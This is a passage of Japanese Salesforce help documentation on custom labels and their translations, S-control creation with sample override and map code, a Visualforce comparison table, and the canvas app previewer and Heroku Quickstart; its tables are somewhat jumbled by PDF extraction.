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ヒント: カスタム表示ラベルが翻訳されている場合は、必要な言語を明示的にパッケージ化して、パッ
ケージに翻訳が含まれるようにします。

関連トピック:

カスタム表示ラベルの作成および編集

カスタム表示ラベルの作成および編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム表示ラベルを作
成、編集、または削除す
る
• 「アプリケーションの

カスタマイズ」

翻訳を作成または上書き
する
• 「翻訳の管理」

または

「設定・定義を参照す
る」、および翻訳者と
して指定されているこ
と

Apex クラス、Visualforce ページ、または Lightning コンポーネントから参照できる
カスタム表示ラベルを作成して、アプリケーションを多言語にします。
1. [設定] から、[クイック検索] ボックスに「カスタム表示ラベル」と入力し、

[カスタム表示ラベル] を選択します。
2. 表示ラベルを作成するには、[新規カスタム表示ラベル] をクリックします。

表示ラベルを編集するには、カスタム表示ラベルの横にある [編集]をクリッ
クします。

3. [簡単な説明] テキストボックスに、このカスタム表示ラベルを簡単に見つけ
るための説明を入力します。この説明は差し込み項目で使用されます。

メモ: 既存のカスタム表示ラベルの言語を変更することはできません。

4. カスタム表示ラベルを作成する場合は、[名前] テキストボックスに、表示ラ
ベルに使用する名前を入力します。この値は、Apex および Visualforce ページ
でカスタム表示ラベルを参照するときに使用されます。この名前は、英数字
のみで構成され、文字で始まり、スペースまたは二重下線は含まず、組織の
他のどの表示ラベルとも異なる一意の名前にする必要があります。

5. カスタム表示ラベルに保護のマークを付けるには、[保護コンポーネント]

チェックボックスをオンにします。
6. [カテゴリ] に、表示ラベルを分類するためのテキストを入力します。この項

目は、カスタム表示ラベルのリストビューを作成するときに、検索条件とし
て使用できます。各カテゴリをカンマで区切ります。[分類] テキストボック
スに入力できる最大文字数は、255 です。

7. [値] テキストボックスに、1,000 文字までのテキストを入力します。この値
は、Salesforce でサポートされるすべての言語に翻訳できます。

メモ: この項目に行った変更がすべてのユーザに表示されるまでに数分
かかることがあります。

8. [保存] をクリックします。

関連トピック:

カスタム表示ラベルの翻訳の作成および編集
カスタム表示ラベル
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カスタム表示ラベルの翻訳の作成および編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム表示ラベルを作
成、編集、または削除す
る
• 「アプリケーションの

カスタマイズ」

翻訳を作成または上書き
する
• 「翻訳の管理」

または

「設定・定義を参照す
る」、および翻訳者と
して指定されているこ
と

ユーザのデフォルト言語が翻訳言語である場合、カスタム表示ラベルの翻訳が
表示ラベルの値のテキストになります。
1. [設定] から、[クイック検索] ボックスに「カスタム表示ラベル」と入力し、

[カスタム表示ラベル] を選択します。
2. カスタム表示ラベルの名前を選択して開きます。
3. [翻訳] 関連リストで、[新規] をクリックして新しい翻訳を入力するか、言語

の隣の [編集] をクリックして翻訳を変更します。[削除] をクリックすると、
Salesforce が本当に削除するかどうかを確認して、カスタム表示ラベルから翻
訳を削除します。

4. 翻訳する [言語] を選択します。
5. [翻訳テキスト] を入力します。ユーザのデフォルト言語を翻訳言語にする

と、このテキストによって、ラベルの [値] 項目の値が上書きされます。
6. [保存] をクリックします。

メモ: カスタム表示ラベルが翻訳されているアプリケーションをパッケー
ジ化する場合は、必要な言語を明示的にパッケージ化して、翻訳が含まれ
るようにします。

関連トピック:

カスタム表示ラベルの作成および編集
カスタム表示ラベル

6658

コードの使用コードを使用した Salesforce の拡張



カスタム表示ラベルの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム表示ラベルを作
成、編集、または削除す
る
• 「アプリケーションの

カスタマイズ」

翻訳を作成または上書き
する
• 「翻訳の管理」

または

「設定・定義を参照す
る」、および翻訳者と
して指定されているこ
と

カスタム表示ラベルを作成した後、次の操作を実行できます。
• カスタム表示ラベルの編集

メモ: 管理パッケージの一部としてインストールされたカスタム表示ラ
ベルの属性は、編集できません。既存の翻訳を上書きするか、または
パッケージに含まれない言語について新規の翻訳を作成することのみで
きます。

• カスタム表示ラベルの削除

メモ: 管理パッケージの一部としてインストールされたカスタム表示ラ
ベル、または Apex または Visualforce ページの参照先になっているカスタ
ム表示ラベルは、削除できません。既存の翻訳を上書きすることしかで
きません。

• 翻訳の作成または編集

関連トピック:

カスタム表示ラベルの作成および編集
カスタム表示ラベル

6659

コードの使用コードを使用した Salesforce の拡張



カスタムSコントロール

カスタムSコントロールの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムSコントロールを
作成、編集、および削除
する
• 「アプリケーションの

カスタマイズ」

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

カスタムSコントロールライブラリは、カスタムリンク、Web タブ、カスタムボ
タン、ダッシュボードなど Salesforce のさまざまなエリアで使用するコンテンツ
を保存したり、アップロードしたりする場所です。Sコントロールを使用すれ
ば、独自のカスタムデータフォームを作成して表示するなど、Salesforce ユーザ
インターフェースを柔軟かつオープンな方法で拡張できます。
Sコントロールには、Java アプレットや ActiveX コントロール、Excel ファイル、
HTML Web フォームなど、ブラウザで表示または実行できるものであれば、種類
を問わず任意のコンテンツを含めることができます。
1. [設定] から、[クイック検索] ボックスに「Sコントロール」と入力し、[Sコン

トロール] を選択します。
2. カスタムSコントロールを新規作成するには、[新規カスタムSコントロール]

をクリックします。
3. 既存のカスタムSコントロールを変更するには、[編集] をクリックします。
4. Sコントロール属性を入力します。
5. すべてのSalesforce差し込み項目と関数を検証するには、[構文を確認]をクリッ

クします。
6. 完了したら [保存] をクリックします。または、保存後、編集を継続するには、[適用] をクリックします。
7. ユーザにカスタムSコントロールを表示するためのカスタムボタンまたはカスタムリンクを作成します。カ

スタムSコントロールを使用した Web タブの作成、ページレイアウトへの Sコントロールの追加、またはダッ
シュボードへの Sコントロールの追加なども実行できます。カスタムオブジェクトのオンラインヘルプコン
テンツとして Sコントロールを使用することもできます。

関連トピック:

Sコントロールについて
カスタムSコントロールの表示と編集
便利な Sコントロール
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Sコントロールについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

Sコントロールを使用して、独自の機能をSalesforce組織に追加します。ホストさ
れる自分のアプリケーションを統合しているか、現在のSalesforceユーザインター
フェースを拡張している場合は、Sコントロールを使用して、コードを保存する
か他の場所でコードを参照します。
カスタムSコントロールには、Java アプレット、Active-X コントロール、Excel ファ
イル、カスタム HTML Web フォームなど、ブラウザに表示できるあらゆる種類の
コンテンツを入れることができます。

関連トピック:

カスタムSコントロールの定義
便利な Sコントロール
Visualforce ページと Sコントロールの比較

Force.com AppExchange パッケージの Sコントロールに関する考慮事項
Sコントロールを含む Force.com AppExchange パッケージを開発しているか、Sコントロールを含む AppExchange

パッケージをインストールする予定がある場合は、次の制限に注意してください。
• 開発中の (つまり、AppExchangeからインストールしたものではない) パッケージの場合、Sコントロールは、

APIアクセスがデフォルトの [無制限]になっているパッケージにのみ追加できます。パッケージに Sコント
ロールを追加すると、[制限あり] の API アクセスを有効にすることはできません。

• インストールしたパッケージについては、パッケージに Sコントロールが含まれる場合でも、アクセス制限
を有効にできます。ただし、アクセス制限は、Sコントロールについては限定的な保護しか行いません。
Salesforce は、Sコントロールセキュリティのアクセス制限を使用する前に、Sコントロール内の JavaScript を
理解することをお勧めします。

• インストール済みパッケージの API アクセスが [制限あり] になっていると、アップグレード済みバージョ
ンに Sコントロールが含まれていない場合にのみ、アップグレードが成功します。アップグレードされた
バージョンに Sコントロールがある場合は、現在インストール済みのパッケージのAPIアクセスを [無制限]

に変更する必要があります。
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カスタムSコントロールの表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムSコントロールを
作成、編集、および削除
する
• 「アプリケーションの

カスタマイズ」

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

カスタムSコントロールの詳細を表示するには、[設定] から [クイック検索]ボッ
クスに「Sコントロール」と入力し、[Sコントロール] を選択し、Sコントロール
の名前を選択します。
• Sコントロールを変更するには、[編集] をクリックします。
• Sコントロールを削除するには、[削除] をクリックします。
• Sコントロールを参照する Salesforce の他のコンポーネントのリストを表示す

るには、[使用場所] をクリックします。

カスタムSコントロール属性

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

説明属性名

埋め込み Sコントロールのページレイアウトに表示するテキ
スト。

表示ラベル

Sコントロールにつける一意の名前です。この名前は、アン
ダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初は文字であること、空白は使用しな
い、最後にアンダースコアを使用しない、2 つ続けてアン
ダースコアを使用しないという制約があります。

Sコントロール名

Sコントロールの使用目的を判断します。
HTML

このオプションを選択すると、[コンテンツ] エリアに S

コントロールのコンテンツを入力できます。

種類

URL

このオプションを選択すると、[コンテンツ]エリアに外
部 Web サイトへのリンクまたは URL を入力できます。

スニペット
スニペットは、他の Sコントロールに組み込めるよう設
計された Sコントロールです。このオプションを選択す
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説明属性名

ると、[コンテンツ] エリアに Sコントロールスニペットのコンテンツを入力で
きます。

Sコントロールを説明するテキストです。このパラメータは、システム管理者にの
み表示されます。

説明

Sコントロールのコンテンツまたはソースを入力します。100 万文字まで入力できま
す。この HTML コードによって、カスタムSコントロールをユーザに表示する方法を
厳密に定義します。

コンテンツ

• [高度な数式] タブで数式を作成する場合、またはワークフロー、入力規則、割
り当て、自動レスポンス、またはエスカレーションなどの承認やルールの数式
を作成する場合は、[項目の挿入] をクリックし、項目を選択してから [挿入] を
クリックします。
特定のSalesforceデータを渡す基本数式を作成するには、[簡単な数式]タブの [差
し込み項目の種類]ドロップダウンリストからデータ型を選択し、[項目の挿入]

ドロップダウンリスト内の項目を選択します。

ヒント: クロスオブジェクト数式を作成し、そのオブジェクトの関連オブ
ジェクトと参照差し込み項目を展開します。

• 演算子を挿入するには、[演算子の挿入] ドロップダウンリストから該当する演
算子アイコンを選択します。

• 関数を挿入するには、リストにある名前をダブルクリックするか、選択してか
ら[選択した関数を挿入]をクリックします。関数のリストを検索するには、[関
数] ドロップダウンリストからカテゴリを選択します。関数を選択後 [この関数
に関するヘルプ]をクリックして、その関数を使った数式の例や説明を参照しま
す。

• カスタムSコントロールの一部として [ファイル名]項目にアップロードしたファ
イルを参照するには、[差し込み項目の種類] ドロップダウンリストから「カス
タムSコントロール」を選択し、その対象となる差し込み項目として「カスタム
Sコントロール URL」を選択します。Java アプレットの場合は、
{!Scontrol_JavaCodebase} と {!Scontrol_JavaArchive} の差し込み項
目を使用することもできます。

• 活動の差し込み項目を挿入するには、[差し込み項目の種類]から [行動]または
[ToDo] を選択します。

ヒント: インターネット標準では、URL に特殊なエンコードが必要です。
Salesforce では、リンクに挿入した差し込み項目からテキストがエンコードさ
れます。リンクに後から追加したテキストは、手動でエンコードします。た
とえば、次の URL を生成するとします。
http://www.google.com/search?q={!user.name} Steve Mark 50%
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説明属性名

それには次の内容を使用します。
http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

内容のソースが URL の場合は、Salesforceにより URL から二重引用符が削除され
ます。二重引用符の使用が必要な場合は、手動でエンコードします。たとえ
ば、URL http://www.google.com/search?q="salesforce+foundation"

を生成するには、
http://www.google.com/search?q=%22salesforce+foundation%22を
使用します。

このカスタムSコントロールをカスタムリンクに追加する場合に表示するファイル
をアップロードします。ファイルには、Java アプレット、Active-X コントロール、ま

ファイル名

たはその他の任意のコンテンツを含めることができます。このオプションは、HTML

Sコントロールに適用されます。

このオプションを使用すると、Sコントロールを保持します。Sコントロールを再読
み込みする必要がないため、ページの再読み込み時のパフォーマンスを向上させま
す。このオプションは、HTML Sコントロールに適用されます。

ページにプレビルド

デフォルトの文字コード設定は Unicode (UTF-8) です。情報を渡す URL が別形式のデー
タを必要とする場合は、この設定を変更します。このオプションは、[種類] に
「URL」を選択したときにのみ使用できます。

文字コード

関連トピック:

Sコントロールについて
便利な Sコントロール
Sコントロールを作成する際のヒント
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カスタムSコントロールの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムSコントロールを
作成、編集、および削除
する
• 「アプリケーションの

カスタマイズ」

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

カスタムSコントロールを削除する手順は、次のとおりです。
1. まず、Sコントロールが他のコンポーネントで使用されていないことを確認

します。これには、[設定] から [クイック検索]ボックスに「Sコントロール」
と入力し、[Sコントロール]を選択し、Sコントロールを選択してから、[使用
場所] をクリックします。

2. [Sコントロール] を再度クリックします。
3. 削除するカスタムSコントロールの横にある [削除] をクリックします。
4. [OK] をクリックして確認します。

メモ: Salesforce 内の他の場所で使用されているカスタムSコントロールは削
除できません。Sコントロールを削除しても、ごみ箱には移動されません。

Sコントロールを作成する際のヒント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムSコントロールを
作成、編集、および削除
する
• 「アプリケーションの

カスタマイズ」

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

Sコントロールを作成するときには、次のヒントを参考にしてください。
• URL の Sコントロールを作成する場合は、Sコントロールを配置したページレ

イアウトセクションで [詳細ページでセクションヘッダーを表示する]を選択
しないでください。このオプションを折りたたみ可能なセクションと一緒に
使用すると、特定のブラウザで問題が生じる可能性があります。

• カスタムボタン、リンク、Sコントロールなど、コンポーネントの特殊な差
し込み項目にアクセスするには、グローバル変数を使用します。たとえば、
$Requestグローバル変数では、スニペット、Sコントロール、またはカスタ
ムボタン内でクエリパラメータにアクセスできます。

• 組織で選択したユーザインターフェースのテーマを取得するには、Sコント
ロールで {!$Organization.UISkin} 差し込み項目を使用します。この差
し込み項目の Theme1 という値は Salesforce Classic テーマを表し、Theme2 は
Salesforce テーマを表します。

• 1 つ以上の差し込み項目、関数、グローバル変数に含めることができる式を
囲む場合、Sコントロールでは「{!」および「}」文字が使用されます (以前は
式の差し込み項目を囲むために使用されていました)。
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• アクションを上書きする場合は、no override引数を使用して、ページの空のフレームで示される再帰を
回避します。

• 活動の差し込み項目を挿入するには、[差し込み項目の種類] から [行動] または [ToDo] を選択します。

関連トピック:

カスタムSコントロール属性
カスタムSコントロールの定義
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便利な Sコントロール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic

カスタムボタンとカスタ
ムリンクを使用可能なエ
ディション: すべてのエ
ディション

Sコントロールを使用可能
なエディション: Contact
Manager Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

標準ボタンとタブのホー
ムページの上書きを使用
可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

次のサンプルを使用して、Sコントロールの使用を開始します。

詳細ページの Sコントロール

Yahoo 地図
Yahoo 地図の API と請求先住所の差し込み項目を使用して、取引先の地図を表示
します。HTML Sコントロールで次のコードを使用し、それを取引先詳細ページレ
イアウトに追加します。

<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
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height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>

標準ボタンとタブのホームページを上書きする Sコントロール

商品の追加の上書き
商品を商談に追加する場合に、標準ページの代わりに独自のコードを使用したい場合があります。以下の Sコ
ントロールサンプルを使用して、差し込み項目を使用するデータ値をレコード詳細ページから、商談の [商品]

関連リストの[商品の追加]ボタンを上書きするカスタムSコントロールに渡します。このタイプの上書きでは、
主オブジェクトおよび従オブジェクトから差し込み項目を関連リストのボタンに含める方法を示します。たと
えば次のコードには、商談商品の主従関係で主側にある商談の差し込み項目が含まれています。
<html>
<head>
<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}
<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>

6668

コードの使用コードを使用した Salesforce の拡張



この機能を実装するには、提供されたスペースにコードを挿入する上記のコンテンツを使用して HTML Sコント
ロールを作成します。次に、Sコントロールを使用して、商談商品オブジェクトから商品の追加アクションを
上書きします。この例は、商談にレコードタイプがあることを前提としています。

メモ: この例には、商品を追加するコードは含まれていません。本文セクションのコンテンツは、商談商
品関連リストから商談の差し込み項目を使用する方法を示しているにすぎません。本文セクションをコー
ドに置き換えてください。

リードの編集の条件付き上書き
特定の条件に応じて標準アクションまたはカスタムSコントロールにリダイレクトするように、標準アクショ
ンを条件付きで上書きすることができます。たとえば、リードの対応期間が 30 日を超えている場合に別の Sコ
ントロールを使用することがあります。次の例を使用して、リードの対応期間が 30 日を超えているかどうか
を評価する Sコントロールを作成し、超えている場合にはカスタムSコントロールを実行してリードを編集しま
す。それ以外の場合は、標準のリード編集アクションを使用します。
<script type="text/javascript">

//determine if the lead has been open longer than 30 days
if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}

</script>

これを組織で実装するには、対応期間が 30 日を超えているリードの編集に使用する Sコントロールを作成しま
す。この Sコントロールに EditLeadsOpenLongerThan30 という名前を付けます。次に、上記のサンプルコードを使
用して、リードの対応期間が 30 日を超えているかどうかを判断する Sコントロールを作成し、超えている場合
には EditLeadsOpenLongerThan30 Sコントロールを使用してリードの編集アクションを上書きします。
上記のサンプルコードの最初の if ステートメントと 2 番目の if ステートメントとの違いに注意してくださ
い。最初のステートメントは、ブラウザで評価される JavaScript if ステートメントです。2 番目のステートメ
ントは、サーバで評価され 1 つの値 (リードが進行中の場合はその日数、リードが進行中でない場合はゼロ) を
返す Salesforce IF 関数です。

ヒント: この例では、リリース間でサポートされるようにするため、個々の URL を指定するのではなく、
URLFOR 関数を使用して Salesforce URL を構築します。
上書きを呼び出さずに標準のSalesforceページを表示するには、URLFOR 関数の no override引数を「true」
に設定します。
また、保存後にユーザを詳細ページに戻すには、URLFOR 関数の retURL パラメータを使用します。
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取引先責任者の編集の上書き
取引先責任者を編集する場合に、独自のコードを使用したい場合があります。以下の Sコントロールサンプル
を使用して、差し込み項目を使用するデータ値をレコード詳細ページから、標準詳細ページのボタンを上書き
するカスタムSコントロールに渡します。
<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>

この機能を実装するには、本文セクションにコードを挿入する上記のコンテンツを使用して HTML Sコントロー
ルを作成します。次に、Sコントロールを使用して、取引先責任者の編集アクションを上書きします。これに
より、取引先責任者の詳細ページの [編集] ボタン、リストビューの [編集] リンク、すべての関連リストの [編
集] リンクなど、使用可能なすべての場所で取引先責任者の編集アクションが上書きされます。

メモ: この例には、取引先責任者を編集するコードは含まれていません。本文セクション内のコードは、
取引先責任者の差し込み項目を使用して取引先責任者に関する情報を表示する方法を示しているにすぎ
ません。本文セクションをコードに置き換えてください。

新規取引先の上書きの中断
標準ボタンを上書きすると、Salesforce組織全体で使用できなくなります。ただし、標準アクションを上書きす
れば、Sコントロールからそのアクションに無限ループにならずにリダイレクトできます。たとえば、取引先
の[新規]ボタンを上書きし、独自のカスタムプロセスを実行し、標準の新規取引先アクションを無限ループに
ならずに再開することができます。これを行うには、URLFOR 関数の no override 引数を使用します。
<script type="text/javascript">

alert("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to
continue.");

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}";

</script>

この Sコントロールを実装するには、上記のコンテンツを使用して HTML Sコントロールを作成します。次に、
Sコントロールを使用して、新規取引先アクションを上書きします。

メモ: 新規アクションでは ID が必要ないため、URLFOR 関数の 2 番目の引数は null に設定されます。この
例では入力が必要ないため、URLFOR 関数の 3 番目の引数は nullに設定されます。URLFOR 関数の 4 番目の
引数は true に設定され、上書きが無視されて無限ループが回避されます。
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[取引先] タブホームページの条件付き上書き
タブホームページを条件付きで上書きし、特定の条件に応じて元のタブホームページを Sコントロールにリダ
イレクトできます。たとえば、特定のプロファイルを持つユーザに対して、標準の [取引先] タブホームページ
の代わりに Sコントロールを表示する場合があります。次のサンプルコードを使用して、ユーザが [取引先] タ
ブをクリックしたときに、Recruiter プロファイルを持つユーザには求人応募者情報を表示し、他のすべてのユー
ザには標準の [取引先] タブホームページを表示する Sコントロールを作成します。
これを実装するには、まず採用担当者に表示するコンテンツを含む「ApplicantHomePage」という Sコントロー
ルを作成します。次に、以下のコードを使用して、条件付き上書きロジックを実装する HTML 種別の Sコント
ロールを作成します。
<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page
if (recruiter) {

window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page

window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";
}
</script>

最後に、ここで示す HTML Sコントロールを使用するように [取引先] タブを上書きします。この例は、「Recruiter」
というプロファイルが組織に存在することを前提としています。

メモ:  $Profile 差し込み項目は、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition

でのみ使用可能です。

スニペットを含む Sコントロール

スニペットを含める
カスタムSコントロールにスニペットを含めて、共通のコードを再利用します。次の例は、Web タブに表示す
るページにヘッダーを提供するスニペットを参照します。ページタイトルは「私のタイトル」になります。ス
ニペットを参照するには、$SControl グローバル変数を使用します。これを実装するには、「Resize_Iframe_head」
および「Resize_Iframe_onload」という 2 つのスニペットを作成し、次のコードを含む「Resize_Iframe_sample」と
いう HTML Sコントロールを作成します。
<html> <body> {! INCLUDE($SControl.Header_Snippet, [title = "My Title",

theme = "modern"])} </body> </html>

6671

コードの使用コードを使用した Salesforce の拡張



Sコントロールの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前
に Sコントロールを使用していない場合は、作成できません。既存の Sコン
トロールに影響はありません。今後も編集できます。

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。
Sコントロールはオブジェクトレベルのヘルプコンテンツの元になるため、差し
込み項目またはその他の機能を使用して、操作性をカスタマイズできます。た
とえば、ユーザの名前をヘルプページに追加することで、ヘルプページが表示
されたときにそのユーザに直接対応できるようなカスタムヘルプを設計できま
す。

ヒント
• カスタムSコントロールの一部として [ファイル名] 項目にアップロードしたファイルを参照するには、[差

し込み項目の種類] ドロップダウンリストから [カスタムSコントロール] を選択し、[カスタムSコントロー
ル URL] を選択してそれの差し込み項目を取得します。Java アプレットの場合も、
{!SControl_JavaCodebase} と {!SControl_JavaArchive} の差し込み項目を使用できます。

• 活動の差し込み項目を挿入するには、[差し込み項目の種類] ドロップダウンリストから [行動]または [ToDo]

を選択します。Salesforce では、リンクに挿入した差し込み項目からテキストが自動的にエンコードされま
す。

関連トピック:

カスタムSコントロールの定義

Visualforce ページと Sコントロールの比較

重要: Visualforceページは、Sコントロールよりも優先されます。組織で以前に Sコントロールを使用してい
ない場合は、作成できません。既存の Sコントロールに影響はありません。今後も編集できます。

Visualforceページは、次世代の Sコントロールとされ、パフォーマンスの向上および作成の簡略化のために、可
能な限り Sコントロールの代わりに使用する必要があります。次の表は、Visualforce ページと Sコントロールの
相違点を説明したものです。

SコントロールVisualforce ページ

HTML、JavaScript、AJAX ツールキットHTML、XML必要な技術的スキル

手続き型コードタグマークアップ言語スタイル

ページ全体の HTML および JavaScript

の作成
タグを使用して標準コンポーネン
トおよびカスタムコンポーネント
を作成

ページ上書きモデル

いいえはい標準 Salesforce コンポーネントライ
ブラリ
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SコントロールVisualforce ページ

いいえはい。標準コントローラを使用組み込みプラットフォームへのア
クセス

いいえ
開発者は入力コンポーネントを特
定の項目に分割することはできま

はい
開発者は、テキストボックスなど
の入力コンポーネントを特定の項

データ分割

せん。代わりに、API を使用する目 (取引先名など) で分割することが
JavaScript コードを記述して、ユーザできます。ユーザがその入力コン
指定の項目値でデータベースを更
新する必要があります。

ポーネントに値を保存すると、値
はデータベースにも保存されます。

いいえ。Salesforceスタイルシートを
手動で指定する必要があります。

はいスタイルシートの継承

はい。describe API コールを使用
して JavaScript でコード化する場合。
ユーザが一意性または必須性の項
目属性に反しているレコードを保

はい (デフォルト)

ユーザが一意性または必須性の項
目属性に反しているレコードを保
存しようとすると、エラーメッセー
ジが自動的に表示され、ユーザは
再度試行することができます。

一意性など、項目メタデータの設
定

存しようとすると、エラーメッセー
ジは Sコントローラ開発者がこれら
の属性をチェックしたコードを記
述した場合にのみ表示されます。

間接。API を経由して Apex

webService メソッドを使用。
直接。カスタムコントローラにバ
インド。

Apex との統合

API へのすべてのコールではサーバ
との往復が必要になるため、応答

マークアップが Force.com プラット
フォーム上で実行されるため、す
ぐに反応します。

パフォーマンス

速度が低い。付加はパフォーマン
スを調整する開発者によって異な
る。

iFrame 内ネイティブページコンテナ

関連トピック:

Sコントロールについて
Visualforce
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Salesforce とのアプリケーションのインテグレーション

キャンバスアプリケーションのプレビューアの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Professional Edition (API お
よび Force.com Canvas が
有効な場合)、および
Developer Edition

ユーザ権限

プレビューアを表示する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

キャンバスアプリケーションのプレビューアは、キャンバスアプリケーション
を公開する前にその外観を確認できる開発ツールです。キャンバスアプリケー
ションを表示する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「キャンバスアプリケーションのプレ

ビューア」と入力し、[キャンバスアプリケーションのプレビューア] を選択
します。

2. 左側のペインからキャンバスアプリケーションをクリックします。フレーム
内にキャンバスアプリケーションが表示されます。

詳細は、『Force.com Canvas 開発者ガイド』を参照してください。

Heroku クイックスタート
[Heroku クイックスタート] ボタンを使用すると、Heroku でアプリケーションを作
成し、Salesforce で対応するキャンバスアプリケーションを作成することで、す
ぐに使用を開始できます。Heroku クイックスタートには次の項目があります。

説明項目

Heroku アプリケーションの作成に使用
される Heroku テンプレート。

テンプレート

キャンバスアプリケーションの名前。
最大 30 文字です。

キャンバスアプリケーション名

Heroku アプリケーションの名前。名前
は英字で始まり、英小文字、数字、お

Heroku アプリケーション名

よびダッシュのみを使用する必要があ
ります。この名前は、アプリケーショ
ンの URL の一部になります。最大 30 文
字です。

キャンバスアプリケーションの説明。
この説明は、Salesforceでキャンバスア

キャンバスアプリケーションの説明

プリケーションを編集するときに表示
されます。最大 200 文字です。

キャンバスアプリケーションを作成す
るためにクイックスタートで Heroku を
認証する方法。

認証種別

• OAuth  — 現在のユーザが Heroku に
ログインしている場合は Heroku トー
クンを使用します。ログインして
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説明項目

いない場合は Heroku OAuth フローを開始します。
• ユーザ名/パスワード  — Heroku のユーザ名とパス

ワードを使用します。
• API キー  — Heroku API キーを使用します。

Heroku へのログインに使用されるアカウントのユーザ
名。Heroku アプリケーションは、このユーザのログイ
ン情報の下に作成されます。

Heroku ユーザ名

